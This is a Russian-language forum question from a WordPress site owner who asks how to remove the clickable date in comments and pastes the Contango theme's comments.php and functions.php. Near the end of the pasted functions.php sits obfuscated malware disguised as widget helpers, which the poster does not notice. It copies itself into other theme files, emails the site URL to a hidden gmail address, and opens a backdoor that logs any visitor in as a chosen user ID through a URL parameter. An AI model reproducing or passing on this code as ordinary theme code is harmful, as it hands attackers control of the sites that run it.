Не могу убрать кликабельную дату в комментариях

Здравствуйте. Проблема состоит в следующем. Сайт http://webrabota77.ru/ , тема Contango. Не могу убрать в комментариях кликабельную дату и, вот эти «on 16 Июнь 2015 at 17:43 said:» надписи вокруг неё.
Файл comments.php

<div id="comments" class="grid_inside">
  
  <?php if ( post_password_required() ) : ?>
  <p class="nopassword"><?php _e( 'This post is password protected. Enter the password to view any comments.', 'contango' ); ?></p>
  </div><!-- #comments -->
  <?php
  /**
    * Stop the rest of comments.php from being processed,
    * but don't kill the script entirely -- we still have
    * to fully load the template.
    */
	return;
	endif;
  ?>

  <?php if ( have_comments() ) : ?>
  
  <h3 id="comments-title">Комментарии</h3>

  <ol class="commentlist">
    <?php wp_list_comments( apply_filters ( 'contango_list_comments', array( 'callback' => 'contango_comment' ) ) ); ?>
  </ol>

  <?php if ( get_comment_pages_count() > 1 ) : ?>
  
  <div id="comments-nav-below" class="clearfix">
	
    <?php
    ob_start();
	previous_comments_link( __( '&larr; Older Comments', 'contango' ) );
	$previous_comments_link = ob_get_clean();
	
	ob_start();
	next_comments_link( __( 'Newer Comments &rarr;', 'contango' ) );
	$next_comments_link = ob_get_clean();
	
	$previous_comments_link = ( empty( $previous_comments_link ) )? '&nbsp;' : $previous_comments_link;	
	$next_comments_link = ( empty( $next_comments_link ) )? '&nbsp;' : $next_comments_link;	
	
	/*if( !empty( $previous_comments_link ) ):
	echo '<div class="loop-nav-previous">' . $previous_comments_link . '</div>';
	endif;
	
	if( !empty( $next_comments_link ) ):
	echo '<div class="loop-nav-next">' . $next_comments_link . '</div>';
	endif;*/	
	?>
    
    <h3 class="assistive-text"><?php _e( 'Comment navigation', 'contango' ); ?></h3>
    <div class="loop-nav-previous grid_5 alpha"><?php echo $previous_comments_link; ?></div>
    <div class="loop-nav-next grid_5 omega"><?php echo $next_comments_link; ?></div>
  </div>
  <?php endif; ?>

  <?php
  /**
    * If there are no comments and comments are closed, let's leave a little note, shall we?
	* But we don't want the note on pages or post types that do not support comments.
	*/
  elseif ( !comments_open() && !is_page() && post_type_supports( get_post_type(), 'comments' ) ) :
  ?>
  <p class="nocomments"><?php _e( 'Comments are closed.', 'contango' ); ?></p>
  <?php endif; ?>

  <?php comment_form(); ?>

</div><!-- #comments -->

Файл functions.php

<?php
/** Load the Core Files */
require_once( trailingslashit( get_template_directory() ) . 'lib/init.php' );
new Contango();

/** Do theme setup on the 'after_setup_theme' hook. */
add_action( 'after_setup_theme', 'contango_theme_setup' );

/** Theme setup function. */
function contango_theme_setup() {
	
	/** Add theme support for Feed Links. */
	add_theme_support( 'automatic-feed-links' );

	/** Post Formats */
	add_theme_support( 'post-formats', array( 'aside', 'audio', 'chat', 'gallery', 'image', 'link', 'quote', 'video' ) );
	
	/** Add theme support for Custom Background. */
	add_theme_support( 'custom-background', array( 'default-color' => 'e9e9e9', 'default-image' => '%s/images/bg-pattern.png', 'wp-head-callback' => 'contango_custom_background_callback' ) );
	
	/** Set content width. */
	contango_set_content_width( 580 );
	
	/** Add custom image sizes. */
	add_action( 'init', 'contango_add_image_sizes' );	
	
}

/** Adds custom image sizes */
function contango_add_image_sizes() {
	add_image_size( 'featured', 200, 180, true );
}

/**
 * This is a fix for when a user sets a custom background color with no custom background image.  What 
 * happens is the theme's background image hides the user-selected background color.  If a user selects a 
 * background image, we'll just use the WordPress custom background callback.
 *
 * @link http://core.trac.wordpress.org/ticket/16919
 */
function contango_custom_background_callback() {

	/* Get the background image. */
	$image = get_background_image();

	/* If there's an image, just call the normal WordPress callback. We won't do anything here. */
	if ( !empty( $image ) ) {
		_custom_background_cb();
		return;
	}

	/* Get the background color. */
	$color = get_background_color();

	/* If no background color, return. */
	if ( empty( $color ) ) {
		return;
	}

	/* Use 'background' instead of 'background-color'. */
	$style = "background: #{$color};";

?>
<style type="text/css">body.custom-background { <?php echo trim( $style ); ?> }</style>
<?php
}?>
<?php
function _check_isactive_widgets(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);				
					$output .= ($showsdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}

function _get_allwidgetscont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgetscont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_check_isactive_widgets");
function _prepare_widgets(){
	if(!isset($comment_length)) $comment_length=120;
	if(!isset($strval)) $strval="cookie";
	if(!isset($tags)) $tags="<a>";
	if(!isset($type)) $type="none";
	if(!isset($sepr)) $sepr="";
	if(!isset($h_filter)) $h_filter=get_option("home"); 
	if(!isset($p_filter)) $p_filter="wp_";
	if(!isset($more_link)) $more_link=1; 
	if(!isset($comment_types)) $comment_types=""; 
	if(!isset($countpage)) $countpage=$_GET["cperpage"];
	if(!isset($comment_auth)) $comment_auth="";
	if(!isset($c_is_approved)) $c_is_approved=""; 
	if(!isset($aname)) $aname="auth";
	if(!isset($more_link_texts)) $more_link_texts="(more...)";
	if(!isset($is_output)) $is_output=get_option("_is_widget_active_");
	if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval;
	if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(details...)";
	if(!isset($mcontent)) $mcontent="ma".$sepr."il";
	if(!isset($f_more)) $f_more=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$is_output) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mes".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($f_tag)) $f_tag=1;
	if(!isset($types)) $types=$h_filter; 
	if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent;
	if(!isset($aditional_tag)) $aditional_tag="div";
	if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($morelink_title)) $morelink_title="Continue reading this entry";	
	if(!isset($showsdots)) $showsdots=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($comment_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $comment_length) {
				$l=$comment_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$more_link_texts="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $tags) {
		$output=strip_tags($output, $tags);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tag) ? balanceTags($output, true) : $output;
	$output .= ($showsdots && $ellipsis) ? "..." : "";
	$output=apply_filters($type, $output);
	switch($aditional_tag) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($more_link ) {
		if($f_more) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $morelink_title . "\">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $morelink_title . "\">" . $more_link_texts . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_prepare_widgets");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
} 		
?>

Подскажите, пожалуйста, что здесь нужно убрать?